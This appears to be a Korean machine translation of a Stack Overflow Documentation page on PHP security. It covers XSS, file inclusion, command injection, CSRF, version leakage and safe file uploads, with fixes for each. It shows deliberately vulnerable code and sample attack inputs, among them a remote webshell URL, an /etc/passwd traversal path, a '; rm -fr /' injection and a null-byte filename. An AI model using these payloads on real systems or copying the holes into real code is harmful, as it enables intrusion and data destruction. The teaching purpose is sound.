수색…


소개

대다수의 웹 사이트가 PHP를 사용하므로 PHP 응용 프로그램 보안은 PHP 개발자가 웹 사이트, 데이터 및 클라이언트를 보호하는 중요한 주제입니다. 이 항목에서는 PHP의 보안 관련 베스트 프랙티스와 PHP의 예제 픽스가 포함 된 일반적인 취약점 및 약점에 대해 다룹니다.

비고

참고 사항

오류보고

기본적으로 스크립트에서 예기치 않은 오류가 발생 하면 PHP는 오류 , 경고주의 메시지를 페이지에 직접 출력합니다. 이 기능은 스크립트로 특정 문제를 해결하는 데 유용하지만 동시에 사용자가 알 필요가없는 정보를 출력합니다.

따라서 프로덕션 환경에서 디렉토리 트리와 같이 서버에 대한 정보를 나타내는 메시지를 표시하지 않는 것이 좋습니다. 개발 또는 테스트 환경에서 이러한 메시지는 여전히 디버깅 목적으로 표시하는 데 유용 할 수 있습니다.

빠른 해결책

스크립트를 끄면 메시지가 전혀 표시되지 않지만 스크립트 디버깅이 어려워집니다.

<?php
  ini_set("display_errors", "0");
?>

또는 php.ini 에서 직접 변경하십시오.

display_errors = 0

오류 처리

더 나은 옵션은 오류 메시지를 데이터베이스처럼 더 유용한 장소에 저장하는 것입니다.

set_error_handler(function($errno , $errstr, $errfile, $errline){
  try{
    $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
      PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    ]);

    if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
      if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
        throw new Exception('Unable to execute query');
      }
    } else {
      throw new Exception('Unable to prepare query');
    }
  } catch (Exception $e){
    error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
  }
});

이 방법은 메시지를 데이터베이스에 기록하고 페이지에 직접 에코하는 대신 파일에 실패한 경우 메시지를 기록합니다. 이렇게하면 사용자가 귀하의 웹 사이트에서 겪고있는 것을 추적하고 문제가 발생하면 즉시 알려줍니다.

사이트 간 스크립팅 (XSS)

문제

교차 사이트 스크립팅은 웹 클라이언트가 원격 코드를 의도하지 않게 실행하는 것입니다. 사용자가 입력을 받아 웹 페이지에서 직접 출력하는 경우 모든 웹 응용 프로그램이 XSS에 노출 될 수 있습니다. 입력 내용이 HTML 또는 JavaScript를 포함하면이 내용이 웹 클라이언트에 의해 렌더링 될 때 원격 코드가 실행될 수 있습니다.

예를 들어 제 3 자 측에 JavaScript 파일이있는 경우 :

// http://example.com/runme.js
document.write("I'm running");

그리고 PHP 응용 프로그램은 전달 된 문자열을 직접 출력합니다.

<?php
echo '<div>' . $_GET['input'] . '</div>';

검사되지 않은 GET 매개 변수에 <script src="http://example.com/runme.js"></script> 가 포함되어 있으면 PHP 스크립트의 결과는 다음과 같습니다.

<div><script src="http://example.com/runme.js"></script></div>

제 3 자 자바 스크립트가 실행되고 사용자는 웹 페이지에서 "실행 중"이라고 표시됩니다.

해결책

일반적으로 클라이언트의 입력을 신뢰하지 마십시오. 모든 GET, POST 및 쿠키 값은 모든 것이 될 수 있으므로 유효성을 검사해야합니다. 이 값들을 출력 할 때 예기치 않은 방법으로 평가되지 않도록 이스케이프 처리하십시오.

가장 간단한 응용 프로그램에서도 데이터를 이동할 수 있으므로 모든 소스를 추적하기가 어려울 수 있습니다. 따라서 항상 출력을 피하는 것이 가장 좋습니다.

PHP는 컨텍스트에 따라 출력을 이스케이프하는 몇 가지 방법을 제공합니다.

필터 함수

PHP는 필터 기능 은 입력 된 데이터를 여러 가지 방법 으로 살균 하거나 유효성을 검사 할 수 있습니다. 클라이언트 입력을 저장하거나 출력 할 때 유용합니다.

HTML 인코딩

htmlspecialchars 는 "HTML 특수 문자"를 HTML 인코딩으로 변환합니다. 즉, 표준 HTML로 처리 되지 않습니다 . 이 메서드를 사용하여 이전 예제를 수정하려면 :

<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';

출력 :

<div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div>

<div> 태그 내부의 모든 내용은 브라우저에서 JavaScript 태그로 해석 되지 않고 대신 간단한 텍스트 노드로 해석됩니다. 사용자는 다음을 안전하게 볼 수 있습니다.

<script src="http://example.com/runme.js"></script>

URL 인코딩

동적으로 생성 된 URL을 출력 할 때 PHP는 urlencode 함수를 사용하여 유효한 URL을 안전하게 출력합니다. 예를 들어, 사용자가 다른 GET 매개 변수의 일부가되는 데이터를 입력 할 수있는 경우,

<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';

악의적 인 입력은 인코딩 된 URL 매개 변수로 변환됩니다.

특수 외부 라이브러리 또는 OWASP AntiSamy 목록 사용

때로는 HTML 또는 다른 종류의 코드 입력을 보내려합니다. 승인 된 단어 목록 (흰색 목록)과 승인되지 않은 목록 (블랙리스트)을 유지해야합니다.

OWASP AntiSamy 웹 사이트 에서 표준 목록을 다운로드 할 수 있습니다. 각 목록은 특정 종류의 상호 작용 (ebay api, tinyMCE 등)에 적합합니다. 그리고 그것은 오픈 소스입니다.

HTML을 필터링하고 일반적인 경우에 대한 XSS 공격을 방지하고 최소한 AntiSamy 목록과 매우 쉽게 사용할 수있는 라이브러리가 있습니다. 예를 들어 HTML 정수기가 있습니다.

파일 포함

원격 파일 포함

원격 파일 포함 (RFI라고도 함)은 공격자가 원격 파일을 포함 할 수있는 취약점 유형입니다.

이 예는 악성 코드가 포함 된 원격 호스트 파일을 주입합니다.

<?php
include $_GET['page'];

/vulnerable.php?page= http://evil.example.com/webshell.txt ?

로컬 파일 포함

로컬 파일 포함 (LFI라고도 함)은 웹 브라우저를 통해 서버에 파일을 포함시키는 프로세스입니다.

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
    include $page;
} else {
    include 'index.php';
}

/vulnerable.php?page=../../../../etc/passwd

RFI & LFI 솔루션 :

승인 된 파일 만 포함하는 것을 허용하고 해당 파일 만 허용하는 것이 좋습니다.

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
    include($page);
} else {
    include('index.php');
}

명령 줄 삽입

문제

SQL 인젝션이 공격자로 하여금 데이터베이스에서 임의의 쿼리를 수행 할 수있게하는 것과 유사한 방식으로, 명령 줄 삽입은 누군가가 웹 서버에서 신뢰할 수없는 시스템 명령을 실행할 수있게합니다. 서버를 부적절하게 보호하면 공격자가 시스템을 완벽하게 제어 할 수 있습니다.

예를 들어, 스크립트를 사용하여 사용자가 웹 서버의 디렉토리 내용을 나열 할 수 있다고 가정 해 봅시다.

<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>

실제 응용 프로그램에서는 PHP의 기본 제공 함수 나 객체를 사용하여 경로 내용을 가져옵니다.이 예제는 간단한 보안 데모입니다.

하나는 /tmp 와 비슷한 path 매개 변수를 얻기를 희망합니다. 그러나 모든 입력이 허용되므로 path 가 될 수 있습니다 ; rm -fr / . 그런 다음 웹 서버는 명령을 실행합니다

ls; rm -fr /

서버의 루트에서 모든 파일을 삭제하려고 시도합니다.

해결책

모든 명령 인수는 escapeshellarg() 또는 escapeshellcmd() 사용하여 이스케이프 해야합니다. 이것은 인수를 실행 불가능하게 만듭니다. 각 매개 변수에 대해 입력 값도 유효성을 검사 해야합니다.

가장 단순한 경우,

<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>

이전 예제에서 파일을 제거하려고하면 실행 된 명령은 다음과 같이됩니다.

ls '; rm -fr /'

그리고 문자열은 단순히 ls 명령을 종료하고 rm 실행하는 대신 ls 매개 변수로 전달됩니다.

위의 예제는 이제 명령 삽입으로는 안전하지만 디렉토리 탐색에서는 안전하지 않습니다. 이 문제를 해결하려면 정규화 된 경로가 원하는 하위 디렉터리로 시작하는지 확인해야합니다.

PHP는 exec , passthru , proc_open , shell_exec , system 과 같은 시스템 명령을 실행하는 다양한 함수를 제공 system . 모두가 신중하게 유효성을 검사하고 이스케이프 처리해야합니다.

PHP 버전 누출

기본적으로 PHP는 현재 사용중인 PHP 버전을 전세계에 알립니다.

X-Powered-By: PHP/5.3.8

이 문제를 해결하기 위해 php.ini를 변경할 수 있습니다 :

expose_php = off

또는 헤더를 변경하십시오.

header("X-Powered-By: Magic");

htaccess 메소드를 선호한다면 :

Header unset X-Powered-By

위의 방법 중 하나라도 작동하지 않으면 헤더를 제거 할 수있는 header_remove() 함수도 있습니다.

header_remove('X-Powered-By');

공격자가 PHP와 사용중인 PHP 버전을 사용하고 있다는 사실을 알고 있다면 쉽게 공격 할 수 있습니다.

스트립 태그

strip_tags 는 사용 방법을 안다면 매우 강력한 기능입니다. 사이트 간 스크립팅 공격 을 방지하는 방법으로 문자 인코딩과 같은 더 나은 방법이 있지만 경우에 따라 태그를 제거하는 것이 유용합니다.

기본 예제

$string = '<b>Hello,<> please remove the <> tags.</b>';

echo strip_tags($string);

원시 출력

Hello, please remove the tags.

태그 허용

특정 태그는 허용하지만 다른 태그는 허용하지 않으려면 함수의 두 번째 매개 변수에 태그를 지정하십시오. 이 매개 변수는 선택적입니다. 필자의 경우에는 <b> 태그 만 전달되기를 원합니다.

$string = '<b>Hello,<> please remove the <br> tags.</b>';

echo strip_tags($string, '<b>');

원시 출력

<b>Hello, please remove the  tags.</b>

공지 사항

HTML 주석과 PHP 태그도 제거됩니다. 이것은 하드 코딩되어 있으며 allowable_tags로 변경할 수 없습니다.

PHP 5.3.4 및 이후 버전에서는 self-closing XHTML 태그가 무시되고 allowable_tags에는 자동 마감 태그가 아닌 태그 만 사용해야합니다. 예를 들어 <br><br/> 모두 허용하려면 다음을 사용해야합니다.

<?php
strip_tags($input, '<br>');
?>

교차 사이트 요청 위조

문제

교차 사이트 요청 위조 또는 CSRF 는 최종 사용자가 모르게 웹 서버에 대한 악의적 인 요청을 생성하도록 할 수 있습니다. 이 공격 벡터는 POST 및 GET 요청 모두에서 악용 될 수 있습니다. 예를 들어 url endpoint /delete.php?accnt=12 가 GET 요청의 accnt 매개 변수에서 전달 된 계정을 삭제한다고 가정 해 보겠습니다. 이제 인증 된 사용자가 다른 응용 프로그램에서 다음 스크립트를 발견하면

<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">

계정이 삭제됩니다.

해결책

이 문제에 대한 일반적인 해결책은 CSRF 토큰을 사용하는 것입니다. CSRF 토큰은 요청에 포함되므로 웹 응용 프로그램은 응용 프로그램의 정상 워크 플로의 일부로 요청이 예상 소스에서 왔음을 신뢰할 수 있습니다. 먼저 사용자는 고유 한 토큰 생성을 트리거하는 양식보기와 같은 일부 조치를 수행합니다. 이것을 구현 한 샘플 폼은

<form method="get" action="/delete.php">
  <input type="text" name="accnt" placeholder="accnt number" />
  <input type="hidden" name="csrf_token" value="<randomToken>" />
  <input type="submit" />
</form>

그런 다음 폼 제출 후 사용자 세션에 대해 서버가 토큰을 검증하여 악의적 인 요청을 제거 할 수 있습니다.

샘플 코드

다음은 기본 구현을위한 샘플 코드입니다.

/* Code to generate a CSRF token and store the same */
...
<?php
  session_start();
  function generate_token() {
    // Check if a token is present for the current session
    if(!isset($_SESSION["csrf_token"])) {
        // No token present, generate a new one
        $token = random_bytes(64);
        $_SESSION["csrf_token"] = $token;
    } else {
        // Reuse the token
        $token = $_SESSION["csrf_token"];
    }
    return $token;
  }
?>
<body>
  <form method="get" action="/delete.php">
    <input type="text" name="accnt" placeholder="accnt number" />
    <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
    <input type="submit" />
  </form>
</body>
...


/* Code to validate token and drop malicious requests */
...
<?php
  session_start();
  if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
    // Reset token
    unset($_SESSION["csrf_token"]);
    die("CSRF token validation failed");
  }
?>
...

CSRF 검증을 자체적으로 구현 한 라이브러리와 프레임 워크가 이미 많이 있습니다. 이것이 CSRF의 간단한 구현이지만, CSRF 토큰을 도용하거나 고정하지 못하도록 CSRF 토큰을 동적으로 재생성 하는 코드를 작성해야합니다.

파일 업로드 중

사용자가 서버에 파일을 업로드하게하려면 실제로 업로드 된 파일을 웹 디렉토리로 이동하기 전에 두 가지 보안 검사를 수행해야합니다.

업로드 된 데이터 :

이 배열에는 사용자가 제출 한 데이터 가 들어 있으며 파일 자체에 대한 정보는 아닙니다 . 일반적으로이 데이터는 브라우저에서 생성되지만 소프트웨어를 사용하여 동일한 양식에 대한 게시물 요청을 쉽게 할 수 있습니다.

$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
  • name - 모든면을 확인하십시오.
  • type -이 데이터를 사용하지 마십시오. 대신 PHP 함수를 사용하여 가져올 수 있습니다.
  • size - 사용하기에 안전합니다.
  • tmp_name - 사용하기에 안전합니다.

파일 이름 사용

일반적으로 운영 체제는 파일 이름에 특정 문자를 허용하지 않지만 요청을 스푸핑하여 추가하여 예상치 못한 일이 발생하도록 허용 할 수 있습니다. 예를 들어 파일의 이름을 지정합니다.

../script.php%00.png

해당 파일 이름을 잘 살펴보고 몇 가지 사항을 알아야합니다.

  1. 먼저 알아야 할 것은 ../ , 파일 이름에서 완전히 불법이며 동시에 디렉토리에서 파일로 이동하는 경우 완벽하게 올바르게 처리됩니다. 바로 수행 할 작업입니까?
  2. 이제 스크립트에서 파일 확장자를 제대로 확인했다고 생각할 수 있지만이 exploit은 %00null 문자로 변환하는 URL 디코딩에 의존합니다. 기본적으로 운영 체제에서이 문자열은 여기에서 끝나며 .png 파일 이름을 제거합니다 .

이제 script.php 를 파일 확장자에 간단한 검증을 script.php 않고 다른 디렉토리에 업로드했습니다. .htaccess 파일을 우회하여 업로드 디렉토리에서 스크립트를 실행할 수 없도록합니다.


파일 이름과 확장자를 안전하게 가져 오기

pathinfo() 를 사용하여 이름과 확장자를 안전한 방식으로 추정 할 수 있지만 먼저 파일 이름에서 원하지 않는 문자를 대체해야합니다.

// This array contains a list of characters not allowed in a filename
$illegal   = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename  = str_replace($illegal, "-", $_FILES['file']['name']);

$pathinfo  = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename  = $pathinfo['filename']  ? $pathinfo['filename']:'';

if(!empty($extension) && !empty($filename)){
  echo $filename, $extension;
} else {
  die('file is missing an extension or name');
}

이제는 저장에 사용할 수있는 파일 이름과 확장자가 있지만 필자는 데이터베이스에 해당 정보를 저장하고 md5(uniqid().microtime()) 와 같은 생성 된 이름을 제공하는 것을 선호합니다 md5(uniqid().microtime())

+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title  | extension | mime       | size | filename                         | time                |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1  | myfile | txt       | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+

이렇게하면 파일 이름에 중복 된 파일 이름과 악용 가능성이있는 문제가 해결됩니다. 또한 공격자가 특정 파일을 실행 대상으로 지정할 수 없으므로 파일이 저장된 위치를 추측하게됩니다.


MIME 형식 유효성 검사

어떤 파일인지 판단하기 위해 파일 확장자를 검사하는 것만으로는 파일 이름이 image.png 일 수는 없지만 PHP 스크립트가 포함되어있을 수 있습니다. 업로드 된 파일의 MIME 유형을 파일 확장자와 비교하여 파일에 이름이 무엇을 나타내는 지 확인할 수 있습니다.

이미지의 유효성을 검사하기 위해 1 단계 더 나아갈 수도 있으며 실제로 이미지를 여는 것입니다.

if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
  if($img = imagecreatefromjpeg($filename)){
    imagedestroy($img);
  } else {
    die('image failed to open, could be corrupt or the file contains something else.');
  }
}

빌트인 함수 또는 클래스를 사용하여 MIME 유형을 가져올 수 있습니다.


화이트 목록 업로드

가장 중요한 점은 각 양식에 따라 파일 확장명과 MIME 형식을 허용 목록에 추가해야합니다.

function isFiletypeAllowed($extension, $mime, array $allowed)
{
    return  isset($allowed[$mime]) &&
            is_array($allowed[$mime]) &&
            in_array($extension, $allowed[$mime]);
}

$allowedFiletypes = [
    'image/png'  => [ 'png' ],
    'image/gif'  => [ 'gif' ],
    'image/jpeg' => [ 'jpg', 'jpeg' ],
];

var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));


Modified text is an extract of the original Stack Overflow Documentation
아래 라이선스 CC BY-SA 3.0
와 제휴하지 않음 Stack Overflow